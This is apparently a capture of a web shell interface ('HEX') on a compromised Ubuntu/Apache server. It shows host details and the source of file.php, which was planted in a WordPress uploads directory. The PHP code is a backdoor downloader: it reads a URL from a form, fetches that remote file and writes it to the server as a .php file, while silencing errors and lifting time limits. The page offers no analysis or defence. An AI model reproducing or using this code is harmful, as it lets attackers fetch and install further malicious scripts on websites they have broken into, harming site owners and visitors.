HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-84-generic #84-Ubuntu SMP PREEMPT_DYNAMIC Fri Sep 5 22:36:38 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //home/bmw7resource.co.uk/public_html-20241007095512/wp-content/uploads/2021/file.php
<?php
error_reporting(0);
echo $_SERVER['DOCUMENT_ROOT'];
set_time_limit(0);
echo $_SERVER['PHP_SELF'];
?>
<form method="post">

U:<input name="url" size="50" /><br>
Y:<input name="yol" size="50" /><br>
start dont:/  file end .php
<input name="submit" type="submit" />
</form>
<?php
set_time_limit(0);
error_reporting(0);
$ext = 'php';
    // maximum execution time in seconds
    set_time_limit (24 * 60 * 60);

    if (!isset($_POST['submit'])) die();

    // folder to save downloaded files to. must end with slash
    $yol = $_POST['yol'];
    $destination_folder = '$yol';

    $url = $_POST['url'];
    $newfname = $yol . basename($url). '.' . $ext;

    $file = fopen ($url, "rb");
    if ($file) {
      $newf = fopen ($newfname, "wb");

      if ($newf)
      while(!feof($file)) {
        fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
      }
    }

    if ($file) {
      fclose($file);
    }

    if ($newf) {
      fclose($newf);
    }
?>